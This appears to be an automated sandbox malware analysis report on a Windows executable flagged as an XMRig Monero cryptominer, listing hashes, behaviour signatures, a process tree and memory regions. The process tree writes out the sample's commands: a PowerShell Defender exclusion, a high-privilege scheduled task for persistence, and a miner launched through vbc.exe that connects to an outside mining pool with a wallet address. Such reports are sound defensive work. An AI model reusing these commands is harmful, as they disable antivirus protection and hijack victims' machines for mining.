Analysis

  • max time kernel
    135s
  • max time network
    163s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-11-2022 14:35

General

  • Target

    file.exe

  • Size

    1.3MB

  • MD5

    8851bd99bb8728fa34a8a7afce73b36e

  • SHA1

    d9a7790e4f41673f6a484180c717c778b258308e

  • SHA256

    66d3e2e7a164f88efb1aecc3c81dbf1d29590a0e852f7dcebda595467027ab3d

  • SHA512

    ff8b2a5ce027aef8f046c22fb77d4448d3f6fc4c0a117e9cb1b08b16d9e993a3c74846428974cc56f754b73d41b9a15863b9e5bc7c776b7a859d073d7e145f6f

  • SSDEEP

    24576:n8E0T8wpeIq79Bu+pj+SRLQdqJptmfXCFIif/:nZ0TbpeIq7HumRLQkJpoKFIif

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 5 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:588
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1888
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4CC8.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2100
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3504
      • C:\ProgramData\winrar\OWT.exe
        "C:\ProgramData\winrar\OWT.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4376
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1264
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
            5⤵
            • Creates scheduled task(s)
            PID:540
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:1856

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\ProgramData\winrar\OWT.exe

    Filesize

    1.3MB

    MD5

    8851bd99bb8728fa34a8a7afce73b36e

    SHA1

    d9a7790e4f41673f6a484180c717c778b258308e

    SHA256

    66d3e2e7a164f88efb1aecc3c81dbf1d29590a0e852f7dcebda595467027ab3d

    SHA512

    ff8b2a5ce027aef8f046c22fb77d4448d3f6fc4c0a117e9cb1b08b16d9e993a3c74846428974cc56f754b73d41b9a15863b9e5bc7c776b7a859d073d7e145f6f

  • C:\ProgramData\winrar\OWT.exe

    Filesize

    1.3MB

    MD5

    8851bd99bb8728fa34a8a7afce73b36e

    SHA1

    d9a7790e4f41673f6a484180c717c778b258308e

    SHA256

    66d3e2e7a164f88efb1aecc3c81dbf1d29590a0e852f7dcebda595467027ab3d

    SHA512

    ff8b2a5ce027aef8f046c22fb77d4448d3f6fc4c0a117e9cb1b08b16d9e993a3c74846428974cc56f754b73d41b9a15863b9e5bc7c776b7a859d073d7e145f6f

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    77d622bb1a5b250869a3238b9bc1402b

    SHA1

    d47f4003c2554b9dfc4c16f22460b331886b191b

    SHA256

    f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

    SHA512

    d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

  • C:\Users\Admin\AppData\Local\Temp\tmp4CC8.tmp.bat

    Filesize

    138B

    MD5

    faa297b8630d6d87df59ae204e44dcf7

    SHA1

    a05a77869198ad6c2e10ddcd0f6222127cc3e022

    SHA256

    7021d9c2b7667d5a0474eb34f58d1d767acb71e644b92ce0a4d7d6ea8ff82685

    SHA512

    43a65b362d1023adda9de42aab676756548b3935aa34cb719dd42f2802e527552a31482a5b43e62587d0787147dfd0e7fe51ddd726ef67b3098eb1edcf0df5d8

  • memory/540-177-0x0000000000000000-mapping.dmp

  • memory/588-141-0x00007FFE19390000-0x00007FFE193BB000-memory.dmp

    Filesize

    172KB

  • memory/588-144-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/588-139-0x00007FFE18520000-0x00007FFE186C1000-memory.dmp

    Filesize

    1.6MB

  • memory/588-140-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/588-138-0x0000000003460000-0x00000000034A1000-memory.dmp

    Filesize

    260KB

  • memory/588-142-0x0000000000110000-0x00000000002CE000-memory.dmp

    Filesize

    1.7MB

  • memory/588-143-0x00007FFDFC4E0000-0x00007FFDFC62E000-memory.dmp

    Filesize

    1.3MB

  • memory/588-136-0x00007FFDFC630000-0x00007FFDFC6ED000-memory.dmp

    Filesize

    756KB

  • memory/588-147-0x0000000000110000-0x00000000002CE000-memory.dmp

    Filesize

    1.7MB

  • memory/588-148-0x0000000003460000-0x00000000034A1000-memory.dmp

    Filesize

    260KB

  • memory/588-152-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/588-133-0x00007FFDFC6F0000-0x00007FFDFC79A000-memory.dmp

    Filesize

    680KB

  • memory/588-137-0x0000000000110000-0x00000000002CE000-memory.dmp

    Filesize

    1.7MB

  • memory/588-135-0x00007FFE15B10000-0x00007FFE15B22000-memory.dmp

    Filesize

    72KB

  • memory/588-134-0x00007FFE192F0000-0x00007FFE1938E000-memory.dmp

    Filesize

    632KB

  • memory/1264-175-0x0000000000000000-mapping.dmp

  • memory/1856-197-0x000001D1A24F0000-0x000001D1A2510000-memory.dmp

    Filesize

    128KB

  • memory/1856-187-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1856-200-0x000001D1A3EB0000-0x000001D1A3ED0000-memory.dmp

    Filesize

    128KB

  • memory/1856-198-0x000001D1A3EB0000-0x000001D1A3ED0000-memory.dmp

    Filesize

    128KB

  • memory/1856-199-0x000001D1A24F0000-0x000001D1A2510000-memory.dmp

    Filesize

    128KB

  • memory/1856-188-0x0000000140343234-mapping.dmp

  • memory/1856-196-0x000001D235F10000-0x000001D235F50000-memory.dmp

    Filesize

    256KB

  • memory/1856-192-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1856-191-0x000001D1A2490000-0x000001D1A24B0000-memory.dmp

    Filesize

    128KB

  • memory/1856-190-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1856-189-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1888-161-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/1888-153-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/1888-149-0x00000243F3320000-0x00000243F3342000-memory.dmp

    Filesize

    136KB

  • memory/1888-145-0x0000000000000000-mapping.dmp

  • memory/2100-146-0x0000000000000000-mapping.dmp

  • memory/3504-151-0x0000000000000000-mapping.dmp

  • memory/4200-166-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/4200-186-0x00007FFE16FC0000-0x00007FFE16FFB000-memory.dmp

    Filesize

    236KB

  • memory/4200-154-0x0000000000000000-mapping.dmp

  • memory/4200-171-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/4200-170-0x00007FFE0BAA0000-0x00007FFE0BBEE000-memory.dmp

    Filesize

    1.3MB

  • memory/4200-158-0x00000000006A0000-0x000000000085E000-memory.dmp

    Filesize

    1.7MB

  • memory/4200-180-0x00000000006A0000-0x000000000085E000-memory.dmp

    Filesize

    1.7MB

  • memory/4200-181-0x0000000002CD0000-0x0000000002D11000-memory.dmp

    Filesize

    260KB

  • memory/4200-182-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/4200-179-0x00007FFE18170000-0x00007FFE18197000-memory.dmp

    Filesize

    156KB

  • memory/4200-183-0x00007FFDFC860000-0x00007FFDFC895000-memory.dmp

    Filesize

    212KB

  • memory/4200-184-0x00007FFDF5E20000-0x00007FFDF5F22000-memory.dmp

    Filesize

    1.0MB

  • memory/4200-185-0x00007FFE186F0000-0x00007FFE1875B000-memory.dmp

    Filesize

    428KB

  • memory/4200-159-0x0000000002CD0000-0x0000000002D11000-memory.dmp

    Filesize

    260KB

  • memory/4200-169-0x00000000006A0000-0x000000000085E000-memory.dmp

    Filesize

    1.7MB

  • memory/4200-168-0x00000000006A0000-0x000000000085E000-memory.dmp

    Filesize

    1.7MB

  • memory/4200-167-0x00007FFE19390000-0x00007FFE193BB000-memory.dmp

    Filesize

    172KB

  • memory/4200-165-0x00007FFE18520000-0x00007FFE186C1000-memory.dmp

    Filesize

    1.6MB

  • memory/4200-164-0x00007FFDFC630000-0x00007FFDFC6ED000-memory.dmp

    Filesize

    756KB

  • memory/4200-163-0x00007FFE15B10000-0x00007FFE15B22000-memory.dmp

    Filesize

    72KB

  • memory/4200-193-0x00000000006A0000-0x000000000085E000-memory.dmp

    Filesize

    1.7MB

  • memory/4200-194-0x0000000002CD0000-0x0000000002D11000-memory.dmp

    Filesize

    260KB

  • memory/4200-195-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/4200-162-0x00007FFE192F0000-0x00007FFE1938E000-memory.dmp

    Filesize

    632KB

  • memory/4200-160-0x00007FFDFC6F0000-0x00007FFDFC79A000-memory.dmp

    Filesize

    680KB

  • memory/4376-174-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/4376-178-0x00007FFDFAF70000-0x00007FFDFBA31000-memory.dmp

    Filesize

    10.8MB

  • memory/4376-172-0x0000000000000000-mapping.dmp